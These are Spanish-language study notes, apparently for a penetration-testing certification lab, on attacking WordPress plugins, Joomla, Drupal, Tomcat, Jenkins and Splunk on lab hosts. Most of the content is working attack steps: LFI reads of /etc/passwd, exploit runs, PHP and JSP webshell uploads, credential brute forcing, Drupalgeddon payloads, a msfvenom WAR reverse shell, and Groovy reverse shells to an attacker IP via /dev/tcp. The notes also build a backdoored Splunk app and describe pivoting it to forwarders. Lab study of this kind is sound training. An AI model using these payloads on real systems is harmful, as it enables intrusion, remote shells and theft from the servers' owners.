mail-masta tuvo vulns como inyeccion SQL no autenticada o LFI
Si miramos el codigo de mail-masta veremos como p1 se intruduce en un include sin sanetizacion = podemos incluir un archivo como /etc/passwd:
![[Pasted image 20260726170054.png]]
curl -s http://blog.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
![[Pasted image 20260726170200.png]]
Plugins vulns -> wpDiscuzz
wpDiscuz sirve para mejorar los comentarios en las publicaciones. Si buscamos por la version 7.0.4 exploit veremos lo siguiente –> exploit que es un RCE
Este exploit aprovecha que nos permite subida de imagenes para cambiar el MIME y subir otro tipo de archivos como un archivo PHP
- Copiamos el codigo Python en un archivo: exploit
- Ejecutamos el codigo usando los parametros necesarios y obtenemos una shell:
python3 wp_discuz.py -u http://blog.inlanefreight.local -p /?p=1
![[Pasted image 20260726170556.png]]
Si falla el shell podemos usar el webshell que se ha subido en la url indicada:
curl -s http://blog.inlanefreight.local/wp-content/uploads/2021/08/uthsdkbywoxeebg-1629904090.8191.php?cmd=id
![[Pasted image 20260726170646.png]]
Ejemplo practico
Realiza una enumeracion de http://blog.inlanefreight.local. Ademas de admin que otro usuario existe:
- Enumeramos la pagina con wpscan y encontramos otro usuario a parte de admin
![[Pasted image 20260726173005.png]]
![[Pasted image 20260726173015.png]]
Realiza un login brute force contra ese usuario para encontrar su contraseña
- Realizamos un ataque de fuerza bruta con wpscan y encontramos la credencial del usuario
![[Pasted image 20260726173151.png]]
![[Pasted image 20260726173216.png]]
Usando los metodos de la seccion encuentra otro usuario valido en el sistema (usando /bin/bash)
-
Nos logueamos en wp-login.php
![[Pasted image 20260726173239.png]]
![[Pasted image 20260726173522.png]]
-
Sabiendo que el plugin mail masta tuvo LFI vamos a buscar el exploit. Nos encontramos con una explicacion en ExploitDB
![[Pasted image 20260726173617.png]]
![[Pasted image 20260726173740.png]]
- Visitamos /wp-content/plugins/mail-masta/ + una de las rutas que sale en la explicacion de ExploitDB y usamos el parametro pl que se pasa a include sin sanetizar para realizar el LFI y encontrar a otro usuario
![[Pasted image 20260726174130.png]]
Usando los metodos de la seccion obtene RCE para ver la flag en el webroot
-
En Appearance > Theme Editor modificamos el codigo de otro tema que no se este usando y usamos la plantilla 404.php para cargarle un webshell php
![[Pasted image 20260726174206.png]]
![[Pasted image 20260726174219.png]]
![[Pasted image 20260726174409.png]]![[Pasted image 20260726174631.png]]
![[Pasted image 20260726174427.png]]
-
Una vez subido vamos al recurso y usamos el webshell para obtener la flag
![[Pasted image 20260726174641.png]]![[Pasted image 20260726174744.png]]
![[Pasted image 20260726174805.png]]
![[Pasted image 20260726174827.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 2. Cmss / 2. Joomla
1. Joomla Discovery Y Enumeration
Joomla es un CMS que se suele usar para foros de discusion, galerias de fotos e e-Commerce
Imaginemos que estamos frente a un e-Commerce no del todo personalizado y no sabemos exactamente que tecnologia usa
Asumimos que es Joomla pero lo debemos confirmar:
- Miramos en el codigo fuente:
curl -s http://dev.inlanefreight.local/ | grep Joomla
![[Pasted image 20260726175602.png]]
- Tambien podemos mirar en /robots.txt
![[Pasted image 20260726175630.png]]
- Nos podemos fijar en el favicon de Joomla
- Podemos leer el readme.txt
curl -s http://dev.inlanefreight.local/README.txt | head -n 5
![[Pasted image 20260726175723.png]]
- Tambien podemos mirar archvios del directorio de JS
/media/system/js/ o en /administrator/manifests/files/joomla.xml
curl -s http://dev.inlanefreight.local/administrator/manifests/files/joomla.xml | xmllint --format -
![[Pasted image 20260726175903.png]]
- Por ultimo podemos ver
plugins/system/cache/cache.xml que nos puede dar una version aproximada
curl -s http://dev.inlanefreight.local/plugins/system/cache/cache.xml | xmllint --format -
![[Pasted image 20260726181749.png]]
Enumeracion
droopescan es un escaner basico de plugins que funciona para SilverStripe, WordPress y Drupal con funcionalidad limitada tambien para Joomla y Moodle
## INSTALACION DOCKER
sudo apt update
sudo apt install -y docker.io
## INICIAR DOCKER QUE SE BORRRARA AL HACER EXIT
sudo systemctl enable --now docker
sudo docker run --rm -it python:3.11-slim bash
## DESCARGA DE DROOPESCAN EN EL DOCKER
apt update
apt install -y git gcc libxml2-dev libxslt1-dev zlib1g-dev
python -m pip install --upgrade pip setuptools wheel
python -m pip install droopescan
Para usar primero metemos el vhost en el /etc/hosts:
echo "IP vhost/domain" | tee -a /etc/hosts
droopscan -h
![[Pasted image 20260726180334.png]]
droopscan scan joomla --url URL
![[Pasted image 20260726180410.png]]
No nos dio mucha informacion util
JoomlaScan esta un poco desactualizado y requiere Python2.7 y necesita bs4:
python2 -m pip install bs4
python2 joomlascan.py -u URL
![[Pasted image 20260726180558.png]]
Nos puede ayudar a encontrar directorios ya rchivos accesibles y algunas extensiones instaladas
Hasta ahora sabemos la version de Joomla (3.9.4) y el portal de inicio de sesion de admin http://dev.inlanefreight.local/administrator/index.php
Los intentos de enumeracion de usuarios dan error:
![[Pasted image 20260726180730.png]]
Fuerza bruta
La cuenta de admin default es admin y la contraseña se cambia a la hora de la instalacion, por lo que nuestra oportunidad esta en que la credencial sea debil
Podemos usar este script para la fuerza bruta:
sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
![[Pasted image 20260726180916.png]]
Ejemplo practico
![[Pasted image 20260726181133.png]]
Realiza una enumeracion para encontrar la version de Joomla
- Visitamos la pagina web y hacemos tanto una busqueda manual por la pagina web como una enumeracion manual para encontrar la version de diferentes formas
![[Pasted image 20260726181209.png]]
![[Pasted image 20260726181231.png]]
![[Pasted image 20260726181431.png]]
![[Pasted image 20260726181342.png]]
![[Pasted image 20260726181359.png]]
![[Pasted image 20260726181520.png]]
![[Pasted image 20260726181631.png]]
![[Pasted image 20260726181723.png]]
Encuentra la pass de admin
- Usamos joomla-brute para realizar un ataque de fuerza bruta
![[Pasted image 20260726182030.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 2. Cmss / 2. Joomla
2. Atacando Joomla
Abusando de la funcionalidad integrada
Si iniciamos sesion con credenciales que hayamos podido encontrar en http://dev.inlanefreight.local/administrator entraremos en panel de control de Joomla
Para nuestros propositos necesitamos añadir un fragmento de codigo PHP para conseguir RCE
![[Pasted image 20260726182606.png]]
![[Pasted image 20260726182614.png]]
Templates
![[Pasted image 20260726182723.png]]
Le damos al nombre de una plantilla debajo de la columna Template que nos lleva a Templates : Customize
![[Pasted image 20260726182842.png]]
Elegimos una de los archivos para subir nuestra webshell (lo mejor seria usar nombres no estandar o protegerlas con credenciales para no hacerlas accesibles o incluso limitar su acceso a nuestra IP)
Si elegimos error.php añadimos lo siguiente:
![[Pasted image 20260726183055.png]]![[Pasted image 20260726183102.png]]
Save&Close
Usamos curl:
curl -s http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id
![[Pasted image 20260726183135.png]]
Aprovechando vulns conocidas
La version de Joomla 3.9.4 esta desactualizada. Buscando un poco encontramos CVE-2019-10945, que es una vulnerabilidad de directory traversal y eliminación de archivos autenticada
Usaremos este script para explotarlo y listar el conetenido de webroot y otros directorios
La version Python3 del script –> aquí
python2.7 joomla_dir_trav.py --url "http://dev.inlanefreight.local/administrator/" --username admin --password admin --dir /
![[Pasted image 20260726183527.png]]![[Pasted image 20260726183535.png]]
Ejemplo practico
![[Pasted image 20260726185346.png]]
Usa la vuln de directorio trasversal para leer la flag en el webroot
- Buscamos si es vuln a path traversal
![[Pasted image 20260726184005.png]]
- Usamos el script del modulo en python3
aquí
![[Pasted image 20260726184513.png]]
![[Pasted image 20260726185447.png]]
- Tras encontrar el archivo flag en el webroot lo visitamos
![[Pasted image 20260726185601.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 2. Cmss / 3. Drupal
1. Drupal Discovery Y Enumeration
Drupal CMS popular entre empresas y desarrolladores escrito en PHP y compatible con MySQL o PostgreSQL
Usa temas y modulos
Revisando el sitio web sabemos que el CMS no es ni WP ni Joomla
- Podemos leer el encabezado
curl -s http://drupal.inlanefreight.local | grep Drupal
![[Pasted image 20260726192357.png]]
-
Mirar el favicon
-
Buscar CHANGELOG.txt o README.txt
-
A traves de nodos. Drupal indexa su contenido usando nodos que puede contener cualquier cosa como una entrada de blog, una encuesta, un articulo… URL/node/ID
![[Pasted image 20260726192530.png]]
![[Pasted image 20260726192559.png]]
Tipos de usuario
- Administrator: tiene control total sobre la web Drupal
- Authenticated User: pueden iniciar sesion en el sitio web y realizar operaciones como añadir y editar articulos en funcion de sus permisos
- Anonymous: los visitantes del sitio web. Solo le permite leer publicaciones
Enumeracion
Manual
- Podemos leer el encabezado
curl -s http://drupal.inlanefreight.local | grep Drupal
![[Pasted image 20260726192357.png]]
- Mirar el favicon
- Buscar CHANGELOG.txt o README.txt
curl -s http://drupal-acc.inlanefreight.local/CHANGELOG.txt | grep -m2 ""
![[Pasted image 20260726192831.png]]
En la ultima version de Drupal nos dara un error 404
![[Pasted image 20260726192908.png]]
- A traves de nodos. Drupal indexa su contenido usando nodos que puede contener cualquier cosa como una entrada de blog, una encuesta, un articulo…
URL/node/ID
![[Pasted image 20260726192530.png]]
![[Pasted image 20260726192559.png]]
Automatizado
Usando droopscan
droopescan scan drupal -u http://drupal.inlanefreight.local
![[Pasted image 20260726192956.png]]
Parece ser la 8.9.1 que no es la mas reciente
Ejemplo practico
![[Pasted image 20260726193159.png]]
Identifica la version de http://drupal-qa.inlanefreight.local
![[Pasted image 20260726193226.png]]
![[Pasted image 20260726193329.png]]
![[Pasted image 20260726193338.png]]
![[Pasted image 20260726193402.png]]
![[Pasted image 20260726200755.png]]
![[Pasted image 20260726200623.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 2. Cmss / 3. Drupal
2. Atacando Drupal
Obtener un shell a traves del panel de administracion de Drupal no es tan facil
Creds default –> admin:admin
Aprovechando el modulo PHP Filter
En versiones anteriores a la 8, se podia habilitar el modulo PHP Filter que permite que se evalue el codigo PHP incrustado
Modules > Casilla PHP Filter > Save Configuration
![[Pasted image 20260726201423.png]]
Content > Add Content > Basic Page
![[Pasted image 20260726201530.png]]
Creamos el archivo con el siguiente codigo (el hash es simplemente cmd en MD5):
![[Pasted image 20260726201627.png]]
Pondemos formato PHP code:
![[Pasted image 20260726201648.png]]
Una vez guardados seremos redirigidos directamente. En este caso a http://drupal-qa.inlanefreight.local/node/3. Usamos curl:
![[Pasted image 20260726201806.png]]
Descargar Modulo PHP Filter
A partir de Drupal 8 debemos instalar el Modulo PHP Filter por nuestra cuenta:
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
Administration > Reports > Available updates o bajo Extend (depende de la version)
![[Pasted image 20260726201927.png]]
Browse > nuestro archivo > Install
![[Pasted image 20260726202014.png]]
Subiendo modulo con backdoor
Decargamos un modulo que se encuentran en drupal.org (por ejemplo CAPTCHA\
Bajamos hasta los realesas y le damos a uno
![[Pasted image 20260726202538.png]]
Decargamos el tar.gz
![[Pasted image 20260726202636.png]]
Descomprimimos:
tar xvf captcha-8.x-1.2.tar.gz
Creamos un archivo shell.php con el siguiente contenido:
![[Pasted image 20260726202716.png]]
Creamos un archivo .htaccess para darnos acceso a la carpeta /modules
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
![[Pasted image 20260726202814.png]]
Movemos ambos archivos a captcha y volvemos a comprimirlo:
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
![[Pasted image 20260726202854.png]]
Asumiendo que tenemos privs administrativos:
Manage > Extend (barra lateral) > + > Install new Module > Navegamos hasta el tar.gz > Install
![[Pasted image 20260726203019.png]]
Una vez instalado vamos a /modules/captcha/shell.php:
curl -s drupal.inlanefreight.local/modules/captcha/shell.php?fe8edbabc5c5c9b7b764504cd22b17af=id
![[Pasted image 20260726203058.png]]
Aprovechando vulnerabilidades conocidas
Drupal ha tenido varias vuln de RCE apodadas DrupalgeddonX
Drupalgeddon
Puede ser explotado aprovechando una inyección SQL preautenticada que puede ser utilizada para subir código malicioso o añadir un usuario administrador. Intentemos añadir un nuevo usuario administrador con este script de PoC
PoC
Una vez que se añade un usuario administrador, podríamos iniciar sesión y habilitar el módulo PHP Filter para lograr la ejecución remota de código
python2.7 druppalgeddon.py
![[Pasted image 20260726203319.png]]![[Pasted image 20260726203333.png]]
python2.7 drupalgeddon.py -t http://drupal-qa.inlanefreight.local -u USER -p PASS
![[Pasted image 20260726203358.png]]
Iniciamos sesion con nuestro nuevo usuario y obtenemos shell como discutimos anteriormente:
![[Pasted image 20260726203424.png]]
O usamos el modulo de MSF: [exploit/multi/http/drupal_drupageddon](https://www.rapid7.com/db/modules/exploit/multi/http/drupal_drupageddon/
Drupalgeddon2
PoC
Esto creara un archivo hello.txt:
python3 drupalgeddon2.py
> URL
![[Pasted image 20260726203625.png]]
Lo verificamos con curl:
curl -s http://drupal-dev.inlanefreight.local/hello.txt
![[Pasted image 20260726203701.png]]
Modificamos el script con un webshell en base64:
![[Pasted image 20260726203738.png]]
Modificamos el contenido del PoC con un script bash en que nos devolvera el webshell:
echo "PD9waHAgc3lzdGVtKCRfUkVRVUVTVHBbY21kXSk7Pz4K" | base64 -d | tee mrb3n.php
![[Pasted image 20260726203838.png]]
Lo visitamos con curl:
curl http://drupal-dev.inlanefreight.local/mrb3n.php?fe8edbabc5c5c9b7b764504cd22b17af=id
![[Pasted image 20260726203934.png]]
Drupalgeddon3
Drupalgeddon3 es una vulnerabilidad de ejecución remota de código autenticada que afecta a múltiples versiones
Requiere que un usuario tenga la capacidad de eliminar un nodo
Podemos explotar esto usando MSF, pero primero debemos:
- Iniciar sesión
- Obtener una cookie de sesión (session cookie) válida
- Iniciamos sesion y obtenemos la cookie en burp:
![[Pasted image 20260726204104.png]]
- Usamos el modulo de MSF
multi/http/drupal_drupalgeddon3 y obtenemos un Meterpreter:
wget https://www.exploit-db.com/download/44557 -O 44557.rb
cp 44557.rb /usr/share/metasploit-framework/modules/exploits/unix/webapp/drupal_drupageddon3.rb
msfconsole -q
reload_all
set rhosts 10.129.42.195
set VHOST drupal-acc.inlanefreight.local
set drupal_session SESS45ecfcb93a827c3e578eae161f280548=jaAPbanr2KhLkLJwo69t0UOkn2505tXCaEdu33ULV2Y
set DRUPAL_NODE 1
set LHOST 10.10.14.15
exploit
![[Pasted image 20260726204306.png]]![[Pasted image 20260726204313.png]]
![[Pasted image 20260726204323.png]]
Ejemplo practico
![[Pasted image 20260726205939.png]]
Usa cualquiera de los ejemplos para leer flag.txt en /var/www/drupal.inlanefreight.local
![[Pasted image 20260726213452.png]]
Drupalgeddon2
- Copiamos el script y lo usamos para ver si funciona
![[Pasted image 20260726211715.png]]
![[Pasted image 20260726211857.png]]
![[Pasted image 20260726211905.png]]
- Funciono asi que ahora vamos a crear un webshell que vamos a codificar en base64 y cambiaremos el codigo del script para que lo desencripte y lo ejecute en una pagina .php
![[Pasted image 20260726212812.png]]
![[Pasted image 20260726212840.png]]
![[Pasted image 20260726212827.png]]
- Una vez ejecutado vamos a la pagina y vemos si funciona
![[Pasted image 20260726212947.png]]![[Pasted image 20260726213002.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 3. Servelets Y Software Development / 1. Tomcat
1. Tomcat Discovery Y Enumeration
Apache Tomcat servidor open source que aloja aplicaciones escritas en Java y scripts en JSP
En EyeWitness en la categoria de activos de alto valor, vemos un host que parece estar ejecutando Tomcat
Para confirmar de que se trata de Tomcat:
- Al capturar la solicitud con Burp, mirar la cabecera Server
- Podemos visitar una pagina no valida, y si el servidor esta detras de un proxy inverso, podremos ver la version:
![[Pasted image 20260727110305.png]]
A veces puede que se hayan personalizado las paginas de error para no mostrar informacion del servidor. En este caso podemos ir al directorio /docs:
curl -s "http://.../docs" / grep Tomcat
![[Pasted image 20260727110434.png]]
Esta es la pagina de documentacion por defecto que puede que los administradores no hayan eliminado
Carpetas de Tomcat predeterminadas
![[Pasted image 20260727110535.png]]
- /bin: binarios y scripts para la ejecucion de Tomcat
- /conf: archivos de configuracion
- /conf/tomcat-users.xml: credenciales de usuario y roles designados
- /lib: archivos JAR necesarios para el funcionamiento de Tomcat
- /logs y /temp: archivos de registros temporales
- /webapps: webroot de Tomcat donde aloja las aplicaciones
- /work: actua como cache
Estructura de /webapps:
![[Pasted image 20260727110838.png]]
WEB-INF/web.xml: es el archivo mas importante. Almacena info como:
- Rutas usadas por la aplicacion
- Clases JAVA que manejan esa ruta
- Las clases JAVA se deben meter en:
/WEB-INF/classes/ las cuales contienen la logica
Ejemplo de web.xml:
![[Pasted image 20260727111220.png]]
Vemos que hay un servlet llamado AdminServlet que se mapea en: com.inlanefreight.api.AdminServlet que se traduce a la ruta –>
/com/inlanefreight/api/AdminServlet.class
Despues se crea un mappeo que hace que las solicitudes que vayan a /admin/ se redirijan a AdminServlet.class
Ejemplo /conf/tomcat-users.xml
![[Pasted image 20260727111725.png]]
Vemos diferentes roles en los comentarios como:
- Manager-gui
- Manager-script
- Manager-jmx
- Manager-status
En el ejemplo vemos:
- Usuario
tomcat con cred tomcat tiene rol de manager-gui
- Usuario
admin con cred admin tiene roles de manager-gui y admin-gui
Enumeracion
Una vez que identifiquemos que se trata de Tomcat y a menos que haya una vuln conocida, querremos mirar los directorios de:
/manager y /host-manager
gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
![[Pasted image 20260727112127.png]]
Una vez conozcamos estos directorios, podemos intentar entrar a verlos probando credenciales debiles de Apache Tomcat como:
admin:admin
tomcat:tomcat
...
Si no funciona ya probaremos un ataque de fuerza bruta en el login
Ejemplo practico
![[Pasted image 20260727112603.png]]
Cual es la version de Tomcat en http://web01.inlanefreight.local:8180
![[Pasted image 20260727112621.png]]
![[Pasted image 20260727112809.png]]
![[Pasted image 20260727112859.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 3. Servelets Y Software Development / 1. Tomcat
2. Atacando Tomcat
Podemos tratar de obtener acceso a /manager o /host-manager y desde ahi es probable que podamos conseguir RCE
Tomcat Manager - Fuerza bruta
Usaremos el siguiente modulo MSF: auxiliary/scanner/http/tomcat_mgr_login
set VHOST web01.inlanefreight.local
set RPORT 8180
set stop_on_success true
set rhosts 10.129.201.58
show options
run
![[Pasted image 20260727114145.png]]
![[Pasted image 20260727114153.png]]![[Pasted image 20260727114211.png]]
Si la herramienta no funcionase bien, podemos redirigirla a Burp y solucionar problemas:
set PROXIES HTTP:127.0.0.1:8080
![[Pasted image 20260727114413.png]]
Desde burp podremos ver como se estan gestionando cada peticion teniendo en cuenta el BASE64 para la autenticacion basica:
![[Pasted image 20260727114516.png]]
Si decodificamos el base64 de la cabecera Authorization, podemos ver user:pass de la misma manera que lo trataria Tomcat por lo que esta funcionando bien:
![[Pasted image 20260727114645.png]]
Podemos usar el siguiente script para el mismo resultado: este
![[Pasted image 20260727114736.png]]
![[Pasted image 20260727114754.png]]
Podemos probar el script con la wordlist que usa MSF con las credenciales por defecto de Tomcat:
![[Pasted image 20260727114836.png]]
Tomcat Manager - Subida de archivo WAR
Tomcat proporciona una GUI para gestionar la aplicaicon en /manager/html a los que solo pueden acceder usuario con el rol manager-gui
Podemos subir desde aqui una aplicacion empaquetada en .WAR
Despues de la fuerza bruta accedemos a /manager/html
![[Pasted image 20260727115547.png]]
Podemos descargar una webshell JSP como esta y subirla como un .WAR:
![[Pasted image 20260727115656.png]]
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
![[Pasted image 20260727115727.png]]
Browse > .WAR > Deploy
![[Pasted image 20260727115753.png]]![[Pasted image 20260727115811.png]]
Hacemos click en backup y nos redirige a -> http://web01.inlanefreight.local:8180/backup/
Nos dara 404 error porque debemos añadir: cmd.jsp
![[Pasted image 20260727115944.png]]
Otra opcion es usar MSFVENOM
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war
![[Pasted image 20260727120141.png]]
Lo subimos y accedemos a /backup con un listener en nuestro host para obtener el reverse shell:
![[Pasted image 20260727120215.png]]
Otra opcion es usar el modulo de MSF: multi/http/tomcat_mgr_upload
Otra opcion es usar Esta webshell que es mas ligera y no tiene un cmd.jsp lo que minimiza nuestra huella
Limpieza
Para limpiar lo que hemos hecho debemos ir a Tomcat Manager (/manager/html) y hacer click en Undeploy junto la aplicacion que hemos subido
Aprovechando vulns conocidas: CVE-2020-1938: Ghostcat
Tomcat fue vulnerable a LFI no autenticada Ghostcat
Todas las versiones de Tomcat anteriores a 9.0.31, 8.5.51 y 7.0.100 resultaron ser vulnerables
nmap -sV -p 8009,8080 app-dev.inlanefreight.local
![[Pasted image 20260727120526.png]]
PoC Ghostcat
python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml
![[Pasted image 20260727120623.png]]
Ejemplo practico
Realiza un ataque de fuerza bruta contra http://web01.inlanefreight.local:8180 y di cual es el username y pass validos
- Realizamos una fuerza bruta con MSF y encontramos las credenciales
![[Pasted image 20260727121035.png]]
![[Pasted image 20260727121043.png]]
![[Pasted image 20260727121050.png]]
![[Pasted image 20260727121144.png]]
Obten RCE de http://web01.inlanefreight.local:8180 y encuentra el contenido de tomcat_flag.txt
-
Vamos a manager, metemos las credenciales encontradas y vamos a html para ver la gui
![[Pasted image 20260727121205.png]]![[Pasted image 20260727121218.png]]
-
Creamos un reverse shell en war y un listener
![[Pasted image 20260727121353.png]]
- Subimos el war, lo visitamos y obtenemos el reverse shell
![[Pasted image 20260727121413.png]]
![[Pasted image 20260727121427.png]]
- Obtenemos al flag
![[Pasted image 20260727121545.png]]
![[Pasted image 20260727121710.png]]
![[Pasted image 20260727121749.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 3. Servelets Y Software Development / 2. Jenkins
1. Jenkins Discovery Y Enumeration
Jenkins es un servidor automatizado open source escrito en Java. Se ejecuta en contenedores de servlets como Tomcat
Tras nuestros escaneos, creemos que estamos ante un Jenkins y sabemos que a menudo se instala en servidores Windows ejecutandose como SYSTEM lo que nos podria dar mucha ventaja en el dominio
Suele usar puertos como 8080 (como Tomcat) o 5000 (para conectar servidores esclavos)
Enumeracion
En este caso la base de datos es la propia de Jenkins para almacenar credenciales y no permite a los usuarios registrar una cuenta
![[Pasted image 20260727122733.png]]
- Podremos saber que es Jenkins por su caracteristica pagina de inicio de sesion
/login
![[Pasted image 20260727122900.png]]
Las credenciales por defecto: admin:admin
No es raro encontrar instancias de Jenkins que no requieren ninguna autenticación
Ejemplo practico
![[Pasted image 20260727123054.png]]
Logueate en http://jenkins.inlanefreight.local:8000 y encuentra la version
![[Pasted image 20260727123126.png]]![[Pasted image 20260727123152.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 3. Servelets Y Software Development / 2. Jenkins
2. Atacando Jenkins
Una forma facil de obtener RCE es a traves de su Consola de Scritps
Consola de scripts
http://jenkins.inlanefreight.local:8000/script
Nos permite ejecutar codigo Apache Groovy (similar a Python y Ruby)
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
![[Pasted image 20260727124110.png]]
o para cmd:
def cmd = "cmd.exe /c whoami".execute();
println("${cmd.text}");
Le damos a run:
![[Pasted image 20260727124123.png]]
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
![[Pasted image 20260727124210.png]]![[Pasted image 20260727124217.png]]
o
String host="IP_Kali";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
![[Pasted image 20260727124551.png]]
Tambien podemos automatizarlo con el modulo de MSF
exploit/multi/http/jenkins_script_console/
- Al tratarse de un Windows, podriamos crear un nuevo usuario y conectarnos via RDP:
def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");
Vulnerabilidades diversas
Existen varias vulnerabilidades de ejecución remota de código en diversas versiones de Jenkins
Ejemplo practico
Obten RCE y consigue la flag del directorio /var/lib/jenkins3
- Creamos un listner en nuestra kali
![[Pasted image 20260727125042.png]]
- Visitamos el script console y creamos un reverse shell
![[Pasted image 20260727124951.png]]
![[Pasted image 20260727125053.png]]
- Obtenemos el reverse shell y recuperamos la flag
![[Pasted image 20260727125153.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 4. Infraestructura Y Network Monitoring Tools / 1. Splunk
1. Splunk Discovery Y Enumeration
Splunk es una herramienta de análisis de logs que se utiliza para recopilar, analizar y visualizar datos
Los despliegues de Splunk se usan con frecuencia para albergar datos sensibles y podrían proporcionar una gran cantidad de información a un atacante si se vieran comprometidos
A menudo se ejecuta como root en sistemas Linux o como SYSTEM en sistemas Windows
Aunque poco comun, a veces podemos encontrarnos un Splunk expuesto externamente con una instancia olvidada
Suele estar en el puerto 8000 y las credenciales por defecto en versiones antiguas son:
admin:changeme
![[Pasted image 20260727135848.png]]
En nuevas versiones se establecen durante el proceso de instalacion
Si no funcionan podemos probar credenciales comunes:
![[Pasted image 20260727135935.png]]
Podemos decubrir Splunk en un escaneo rapido de servicios Nmap:
sudo nmap -sV IP
![[Pasted image 20260727140025.png]]
Enumeracion
La version de prueba de Splunk Enterprise se convierte en una version gratuita la pasar 60 dias que no requiere autenticacion
Los desarrolladores pueden coger una de prueba y luego coger una enterprise y olvidarse de ella y hay organizaciones que optan por las versiones gratuitas
![[Pasted image 20260727140215.png]]
Una vez iniciado sesion en Splunk o accedido a una instancia gratuita podemos explorar los datos, ejecutar informes, crear dashboards…
![[Pasted image 20260727140303.png]]
Splunk tiene múltiples formas de ejecutar código, como aplicaciones Django del lado del servidor, endpoints REST, entradas programadas (scripted inputs) y scripts de alerta. Un método común para obtener ejecución remota de código en un servidor Splunk es mediante el uso de una entrada programada. Estas están diseñadas para ayudar a integrar Splunk con fuentes de datos como APIs o servidores de archivos
Las entradas programadas están pensadas para ejecutar estos scripts, proporcionando la salida estándar (STDOUT) como entrada para Splunk.
Como Splunk se puede instalar en hosts Windows o Linux, se pueden crear entradas programadas para ejecutar scripts de Bash, PowerShell o Batch
Además, cada instalación de Splunk viene con Python instalado, por lo que los scripts de Python pueden ejecutarse en cualquier sistema Splunk. Una forma rápida de obtener RCE es creando una entrada programada que le indique a Splunk que ejecute un script de Python para una shell inversa
Ejemplo practico
Enumera la instancia de splunk y encuentra la version
- Hacemos una enumeracion rapida de puertos y encontramos Splunk
![[Pasted image 20260727140712.png]]
- Al intentar acceder vemos que no nos deja, puede que no sea donde esta realmente levantada la herramienta Splunk
![[Pasted image 20260727141025.png]]
- Tras hacer un escaneo completo de puertos encontramos por el puerto predeterminado de Splunk otra instancia que si nos permitio acceder a traves de HTTPS a la herramienta Splunk gratuita sin autenticacion
![[Pasted image 20260727141035.png]]
![[Pasted image 20260727141115.png]]
![[Pasted image 20260727141153.png]]
En el propio Titulo de la pagina sale la version
![[Pasted image 20260727141302.png]]
CPTS
3. Explotacion WEB / 11. Atacando Aplicaciones Comunes / 4. Infraestructura Y Network Monitoring Tools / 1. Splunk
2. Atacando Splunk
Podemos obtener ejecución remota de código (RCE) en Splunk creando una aplicación personalizada para ejecutar scripts de Python, Batch, Bash o PowerShell
La maquina vimos que es un Windows tras el escaneo de nmap
Abusando de la funcionalidad incorporada
Paquete Splunk: dentro de /bin hay un repositorio que tiene ejemplos de Python y Powershell para ayudarnos
Primero tenemos que crear una aplicacion personalizada de Splunk usando su estructura de directorios:
![[Pasted image 20260727141738.png]]
- /bin: contiene un .ps1, .py y .bat
En el directorio /bin pondremos el script que queremos ejecutar (en este caso un .ps1 con una shell inversa de PowerShell)
Usaremos un reverse shell de Powershell de una linea basico que podemos montar con msfvenom o buscar en PayloadAllTheThings
![[Pasted image 20260727141850.png]]
SI FUERA UN LINUX PONDRIAMOS LO SIGUIENTE EN EL ARCHIVO .PY
![[Pasted image 20260727142720.png]]
En el .bat pondremos que se ejecutara cuando la aplicacion se despliegue y ejecutara el PS1
![[Pasted image 20260727142222.png]]
El archivo inputs.conf le dice a Splunk que ejecutar:
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Lo comprimimos:
tar -cvzf updater.tar.gz splunk_shell/
![[Pasted image 20260727142252.png]]
Montamos un listener:
![[Pasted image 20260727142449.png]]
Vamos a Find More Apps > Apps> Manage Apps > Install app from file y subimos la aplicacion:
![[Pasted image 20260727142431.png]]
Vamos a Upload app > browse> elegimos nuestra aplicacion > Upload
![[Pasted image 20260727142535.png]]
Obtendremos el reverse shell en el listener:
![[Pasted image 20260727142554.png]]
En este caso, obtuvimos una shell como NT AUTHORTY\SYSTEM
Pivotar con Splunk
Splunk puede estar desplegado en varios hosts que tengan instalados Universal Forwarders. Para enviar una reverse shell a todos estos debemos colocar la aplicacion creada en el directorio:
$SPLUNK_HOME/etc/deployment-apps
